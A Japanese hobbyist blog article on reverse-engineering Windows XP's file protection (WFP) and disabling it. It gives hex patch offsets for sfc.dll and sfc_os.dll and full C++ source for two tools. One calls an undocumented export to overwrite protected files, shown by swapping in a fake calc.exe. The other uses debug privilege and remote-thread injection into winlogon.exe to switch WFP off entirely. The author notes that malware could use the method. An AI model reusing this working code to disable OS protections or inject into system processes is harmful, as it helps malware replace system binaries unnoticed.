システムファイルのリバースエンジニアリングを行っていると、Windows File Protection(WFP)の存在がとても面倒に感じます。セキュリティ的観点から見ると、WFPはとても重要なシステムですが、プログラマや解析者からすると少しやっかいな存在です。よって私は、どうにかしてこのWFPを制御できないか、と考えました。このテキストは、その方法を模索した結果を書き記したものです。
私の環境は「WindowsXP SP2」であるため、このテキストは基本的にその環境に従って書かれています。WFPはWindowsのバージョンによって多少の違いがあるため、もしかしたら他の環境では勝手が違うかもしれません。あらかじめご了承ください。
なお、今回作成したサンプルプログラム(./wfp.zip)をまとめてアップしました。ソースコードはこのテキスト内にも書かれてありますが、必要ならばダウンロードしてください。
「Windows File Protection」とは、Windows2000にて新しく採用されたファイル保護機能のことであり、一般のアプリケーションに、システムファイルの変更を行わせない仕組みのことです。以後、Windows2000/XP/2003にて同様の機能が実装されています。
本来、WFPとは、アプリケーションソフトのインストール時に、システムファイルが上書きされ、Windowsが不安定になったり、これまで正常に動作していたアプリケーションに問題が発生したり、といったこと(いわゆるDLL地獄)を防ぐために実装されたものです。例えば、WINDOWSフォルダ(C:\WINDOWS)やsystem32フォルダ(C:\WINDOWS\system32)には、Windowsの根幹を担うシステムファイルが多数存在します。これらのファイルを、一般のアプリケーションが容易に変更することができたならば、OS自体の動作に影響が出てしまいますし、また、ウイルスやスパイウェアが意図的にシステムファイルを都合のよいように改竄することも可能となります。つまり、セキュリティ的観点から、システムファイルの変更は好ましくありません。よって、マイクロソフトは、Windows2000にてWFPと呼ばれるファイル保護機能を実装しました。
WFPによって保護されているファイルは、変更や削除ができなくなり、基本的に一般のアプリケーションからはアクセスできません。つまり、どのようなアプリケーションをインストールしても、どのような悪質なコンピュータウイルスに感染しても、保護されているファイルだけは、OSインストール時のままというわけです。そして、このシステムによって、Windowsはとても安定したシステムを維持することができるようになりました(もちろんこれだけの理由ではありませんが)。
ちなみに、Windows ME(Millennium Edition)にも、WFPと似た機能が搭載されていますが、こちらは「System File Protection」と呼ばれるものであり、このテキストでは別物と解釈し、扱わないものとします(ただし、どちらもほぼ同じ機能だと思われますが)。
ファイル保護はさほど難しい仕組みで動作していません。保護対象のファイルに対して、何かしらの変更が行われた場合、まず「C:\WINDOWS\system32\dllcache」フォルダ内に、同様のファイルが存在しないかを調べます。もし、同様のファイルが存在するなら「C:\WINDOWS\system32\dllcache」からファイルが復元されることになります。
試しに、「C:\WINDOWS」フォルダ内にある「notepad.exe」のファイル名を変更してみてください。

ファイル名を変更すると、実質「notepad.exe」というファイルは無くなったことになるため、ファイル保護機能が働きます。保護機能が働くと「C:\WINDOWS」以下に、新たに「notepad.exe」が作成されます。ちなみに「C:\WINDOWS\system32\dllcache」フォルダ以下に「notepad.exe」のバックアップファイルが無いと、当然「notepad.exe」ファイルは復元されないため、ファイル名を変更する場合は、必ず「C:\WINDOWS\system32\dllcache」フォルダ以下に「notepad.exe」のバックアップファイルが存在することを確認してから行ってください(といっても、ほぼ確実にありますので問題ないと思いますが)。

さて、dllcacheフォルダからファイルが復元されるということは、もし、dllcaheフォルダ内に「notepad.exe」のバックアップファイルがない、もしくは偽物(まったく異なったファイル)が保存されていた場合、ファイルが復元できないことになります。すると、「システムファイルが変更され復元できないため、インストールCDを挿入してください」という旨のメッセージボックスが表示されます。

ここで指示に従ってインストールCDを入れると、インストールCDからファイルの復元が行われますが、もし、インストールCDを入れずに「キャンセル」を選択すると、復元されずに終わります(つまり削除や変更が適応される)。
つまり、まとめると、WFPの保護機能は次の処理を行うことになります。
このような仕組みの元、システムファイルはあらゆるアプリケーションから保護されています。
WFPを働かせないようにするためには、Windowsをセーフモードで起動する必要があります。セーフモードで起動すると、WFPは起動時から無効になっているので、システムファイルを任意に変更することが可能です。しかし、いちいちセーフモードで再起動するのも面倒くさいというわけで、便利なツールが公開されています。
Windows File Protection Switcher 1.0
「Windows File Protection Switcher 1.0」はWFPの「有効」「無効」を切り替えることができます。また、ツールを起動すると「セーフモードで実行してくれ」と表示されますが、普通の状態でも問題なく動作します。ただし、インストールCDの挿入を求めるダイアログボックスが表示されますので、それに「キャンセル」を選択する必要があります。
このツールが内部でどのような動作を行っているかは、解析してみなければ分かりませんが、WFPの無効化は、Windowsのバージョンによって多少異なります。以下にその詳細を示します。ちなみに、以下の解説に出てくる、レジストリの「SFCDisable」キーとは、レジストリの「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon」以下にある「SFCDisable」キーのことです。
----- Windows 2000 SP2の場合 1. セーフモードで起動 2. C:\WINDOWS\system32\sfc.dllをバイナリエディタで開く 3. オフセット「0x6211」から2バイトの値を「8BC6」から「9090」へ変更 4. レジストリの「SFCDisable」キーの値を「0xffffff9d」へ変更 5. Windowsを再起動 -----
----- Windows 2000 SP4の場合 3. オフセット「0x62DB」から2バイトの値を「8BC6」から「9090」へ変更 これ以外はWindows 2000 SP2の場合と同じ -----
----- Windows XPの場合 1. セーフモードで起動 2. C:\WINDOWS\system32\sfc_os.dllをバイナリエディタで開く 3. オフセット「0xE2B8」から2バイトの値を「8BC6」から「9090」へ変更 4. レジストリの「SFCDisable」キーの値を「0xffffff9d」へ変更 5. Windowsを再起動 -----
----- WindowsXP SP1の場合 3. オフセット「0xE3BB」から2バイトの値を「8BC6」から「9090」へ変更 これ以外はWindows XPの場合と同じ -----
----- WindowsXP SP2の場合 3. オフセット「0xECE9」から3バイトの値を「33C040」から「909090」へ変更 これ以外はWindows XPの場合と同じ -----
上記の操作を手動で行うことで、WFPを解除することができます。ただし、いろいろと面倒ですし、システムファイルを変更するので、万が一のことがあるかもしれません。なので、もし解除だけしたいならば、ツール(Windows File Protection Switcher 1.0)を使う方がよいでしょう。ただ、このツールにも「自己責任で使用してください」と書いてあったりしますが…(笑)。
WFPを無効化する方法として、sfc.dll(もしくはsfc_os.dll)の上書きを紹介しました。これは、もっともシンプルな方法です。しかし、これ以外にもWFPを無効化する手段はいくつか存在します。例えば「C:\WINDOWS\system32\sfcfiles.dll」を変更する方法です。
sfcfiles.dllファイルには、WFPの対象となるファイルパスがUNICODE形式で保存されています。よって、それらのファイルパスを変更することで、任意のファイルのWFPを無効化することができます。

重要なAPIを提供しているuser32.dllも、もちろんWFPの対象となっています。しかし、sfcfiles.dllファイルに記述されているuser32.dllのパスを変更するだけで、user32.dllがWFPの対象から外されます。このように、システムファイルをバイナリレベルで操作することにより、WFPは簡単に無効化することができます。
しかし、sfcfiles.dllファイルのWFP対象ファイルを見ていると、とても面白いことに気づきます。それは、WFP対象ファイルに、sfc.dllも、sfc_os.dllも、sfcfiles.dll自身さえも含まれているということです。つまり、WFPを無効化するために編集しなければならないファイルがすべて、WFPの対象となっているわけです。よって、仮に悪意あるプログラムがWFPを無効にしようと企んだとしても、必ず一度はWFPに引っかかることになります。一度引っかかれば、警告ダイアログボックスによってユーザにその旨が知らされますので、十分にセキュアだと言えます。
しかし、これは、非公開APIを利用することで簡単に突破できます。sfc_os.dllがエクスポートしている、エクスポート序数が「5」の関数を呼び出すことで、一時的に任意のファイルに対してのWFPを解除することができます。この関数は関数名が存在しないため、とりあえずここでは、関数名をDisWfpとします。では、DisWfp関数の定義を以下に示します。
----- DisWfp関数の定義
DWORD WINAPI DisWfp( // 戻り値は成功時0、失敗時1
DWORD dwA, // 0固定(詳細不明)
WCHAR *szFile, // WFPを無効にするファイルパス(UNICODE)
DWORD dwB // -1固定(詳細不明)
);
-----
この関数を呼び出すことで、szFileで指定したファイルへのWFPが「一時的に」無効になります。「一時的に」というのは、この関数を呼び出して、約1分くらいだけWFPが無効になるからです。関数呼出し後、1分を経過するとまたWFPが有効になりますので、その1分間に対象ファイルを変更する必要があります。
では、以下のソースコードを見てください。
----- dwfp1.cpp
#define WIN32_LEAN_AND_MEAN
#define STRICT
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
typedef DWORD (WINAPI *PDISWFP)(DWORD dwA, WCHAR *szFile, DWORD dwB);
int main(int argc, char *argv[])
{
if(argc < 3){
printf("%s [src file] [dest file]\n", argv[0]);
return 1;
}
char *srcfile = argv[1];
char *destfile = argv[2];
HMODULE hMod = NULL; // sfc_os.dll handle
PDISWFP pWfp = NULL; // function ptr
try{
if((hMod = LoadLibrary("sfc_os.dll")) == NULL)
throw 1;
if((pWfp = (PDISWFP)GetProcAddress(hMod, (LPCSTR)5)) == NULL)
throw 2;
WCHAR wdestfile[1024];
MultiByteToWideChar(CP_ACP, 0,
destfile, -1, wdestfile, 1024 * sizeof(WCHAR));
if(pWfp(0, wdestfile, -1))
throw 3;
CopyFile(srcfile, destfile, FALSE);
printf("Copy \"%s\" to \"%s\" successed!\n", srcfile, destfile);
}catch(int err){
printf("Error: %d\n", err);
}
FreeLibrary(hMod);
return 0;
}
-----
----- コマンドプロンプト C:\>bcc32 -w- dwfp1.cpp Borland C++ 5.6.4 for Win32 Copyright (c) 1993, 2002 Borland dwfp1.cpp: Turbo Incremental Link 5.65 Copyright (c) 1997-2002 Borland C:\> -----
「Borland C++ Compiler 5.6.4」にてコンパイルしています。引数にコピー元とコピー先のファイルパスを指定します。通常ならば、WFPの対象となっているファイルに対して上書きを行うとエラーとなりますが、DisWfp関数にてWFPを無効にしているので、問題なくファイルのコピーを行うことができます。system32フォルダ以下にあるcalc.exeは、Windowsに標準で搭載されている電卓プログラムです。適当な実行ファイルの名前を「calc.exe」として、system32以下の電卓プログラムcalc.exeと置換する例を以下に示します。
----- コマンドプロンプト C:\>dwfp1.exe c:\calc.exe c:\WINDOWS\system32\calc.exe Copy "c:\calc.exe" to "c:\WINDOWS\system32\calc.exe" successed! C:\> -----
これで、system32以下のcalc.exeは、こちらが用意した偽物のcalc.exeに置換されました。試しに電卓を起動してみてください。偽物のcalc.exeが起動するはずです。このようにして、WFPは簡単に無効化することができます。
DisWfp関数を使うと任意のファイルに対してのみ、WFPを解除することができますが、できるならば、すべてのファイルに対してのWFPを解除したいです。WFPを解除するためには、sfc.dllやsfc_os.dllやsfcfiles.dllを変更することで行うことができますが、これらのファイルを変更しなくとも、WFPを解除することができます。
WFPを行っているプロセスは、システムプロセスであるwinlogon.exeです。これは、WFP対象ファイルを変更したときに表示される警告ダイアログボックスから割り出すことができます。ちなみに、私は、警告ダイアログボックスが表示されたときにタスクマネージャを起動し、ダイアログボックスのウィンドウからプロセスを調べました。
そして、このwinlogon.exeプロセスの内部で、SfcTerminateWatcherThread関数を呼び出すことで、WFPを無効化することができます。SfcTerminateWatcherThread関数とは、DisWfp関数同様に、名前のない関数であり、sfc.dllのエクスポート序数「2」としてエクスポートされています。定義は以下のようになっています。
----- SfcTerminateWatcherThread関数の定義 DWORD WINAPI SfcTerminateWatcherThread(void); // 戻り値は成功時0、失敗時1 -----
見ての通り引数はなく、戻り値は成功時に0が返ります。この関数をwinlogon.exe内部で呼び出すことで、WFPが無効になります。
任意の関数を任意のプロセス内部で呼び出させる方法は多数あります。例えばDLLインジェクションやスレッドインジェクションです。これらについては、私のHPにある「常駐プログラム隠蔽テクニック」や「KeyLoggerとプロセス隠蔽についてのまとめ」を参照してください。
このようなテクニックを使用することで、他プロセスへ任意のコードを注入できますが、winlogon.exeはシステムプロセスですので、そのままOpenProcess関数を使用したのでは、プロセスが開けず、コードの注入ができません。よって、インジェクション処理を行う前に、システムファイルを制御できるよう、OpenProcessToken関数、LookupPrivilegeValue関数、AdjustTokenPrivileges関数を使用して、システムレベルのデバッグ処理を行えるように、特権を取得します。この辺りについては、以下のマイクロソフトのサイト「SeDebugPrivilegeを使用して任意のプロセスへのハンドルを取得する方法」が参考になるでしょう。これらの処理を行うことで、WFPを無効にすることができます。
では、以下のサンプルコードを見てください。
----- dwfp2.cpp
#define WIN32_LEAN_AND_MEAN
#define STRICT
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <tlhelp32.h>
#pragma check_stack (off)
DWORD exec_func(FARPROC SfcTerminateWatcherThread)
{
SfcTerminateWatcherThread();
return 0;
}
void after_thread_func(void){}
#pragma check_stack
int adjust_privileges(void);
DWORD get_process_pid(char *);
int inject_thread(DWORD, LPVOID);
int main(int argc, char *argv[])
{
if(argc < 2){
printf("%s [process name]\n", argv[0]);
return 1;
}
FARPROC pSTWT = GetProcAddress(LoadLibrary("sfc.dll"), (LPCSTR)2);
if(pSTWT == NULL){
printf("Error: SfcTerminateWatcherThread\n");
return -1;
}
int err = 0;
if(err = adjust_privileges()){
printf("Error: adjust_privileges:%d\n", err);
return -1;
}
DWORD dwPID;
if((dwPID = get_process_pid(argv[1])) == 0){
printf("Error: get_process_pid\n");
return -1;
}
if(err = inject_thread(dwPID, pSTWT)){
printf("Error: inject_thread:%d\n", err);
return -1;
}
printf("Windows File Protection Disabled.\n");
return 0;
}
int adjust_privileges(void)
{
int ret = 0;
HANDLE hToken = NULL;
try{
if( ! OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
throw 1;
LUID luid;
if( ! LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid))
throw 2;
TOKEN_PRIVILEGES tk_priv;
tk_priv.PrivilegeCount = 1;
tk_priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tk_priv.Privileges[0].Luid = luid;
if( ! AdjustTokenPrivileges(hToken, FALSE, &tk_priv, 0, NULL, NULL))
throw 3;
}catch(int err){
ret = err;
}
CloseHandle(hToken);
return ret;
}
DWORD get_process_pid(char *psname)
{
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnap == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
BOOL bResult = Process32First(hSnap, &pe);
while(bResult){
if( ! strcmp(pe.szExeFile, psname))
pid = pe.th32ProcessID;
bResult = Process32Next(hSnap, &pe);
}
CloseHandle(hSnap);
return pid;
}
int inject_thread(DWORD dwPID, LPVOID pfunc)
{
int ret = 0;
HANDLE hProcess = NULL;
LPVOID remote_mem = NULL;
try{
if((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) == NULL)
throw 1;
remote_mem = VirtualAllocEx(hProcess, NULL,
(SIZE_T)((char *)after_thread_func - (char *)exec_func),
MEM_COMMIT, PAGE_READWRITE);
if(remote_mem == NULL)
throw 2;
BOOL wFlag = WriteProcessMemory(hProcess, remote_mem, (char *)exec_func,
(SIZE_T)((char *)after_thread_func - (char *)exec_func), (SIZE_T *)0);
if(wFlag == FALSE)
throw 3;
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remote_mem, pfunc, 0, NULL);
if(hThread == NULL)
throw 4;
if(WaitForSingleObject(hThread, 10 * 1000) == WAIT_TIMEOUT)
throw 5;
CloseHandle(hThread);
}catch(int err){
if(err > 2)
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
ret = err;
}
CloseHandle(hProcess);
return ret;
}
-----
----- コマンドプロンプト C:\>bcc32 -w- dwfp2.cpp Borland C++ 5.6.4 for Win32 Copyright (c) 1993, 2002 Borland dwfp2.cpp: Turbo Incremental Link 5.65 Copyright (c) 1997-2002 Borland C:\> -----
このプログラムは、任意のプロセス内でSfcTerminateWatcherThread関数を呼び出すプログラムです。WFPを行っているメインプロセスはwinlogon.exeであるため、引数にwinlogon.exeを指定して、プログラムを実行します。
----- コマンドプロンプト C:\>dwfp2.exe winlogon.exe Windows File Protection Disabled. C:\> -----
これで、WFPは無効になりました。試しにシステムファイルを操作(削除や変更)してみてください。WFPが一切働かずに、ファイルを操作することができると思います。

WFPが働かないので、システムファイルを削除することができます。しかし、当然削除したらWindowsの動作に影響が出てくるので、ちゃんと元に戻せるようにしておいた方がよいでしょう。
さて、いかがだったでしょうか。今回は少しHackingっぽいネタを書かせていただきました。WFPの無効化や、システムファイルの改竄などは、どちらかというと悪意あるプログラムで使用されそうですが、個人的にはとても面白い内容だと思ったので書いてみました。ただ、あまりこういうことに興味のある人は少ないかもしれないですが…(^^;。
というわけで、今回のHackingネタ、楽しんでいただけたなら幸いです。最後になりましたが、ここまで読んでくれて本当にありがとうございます。
では、また会う日まで...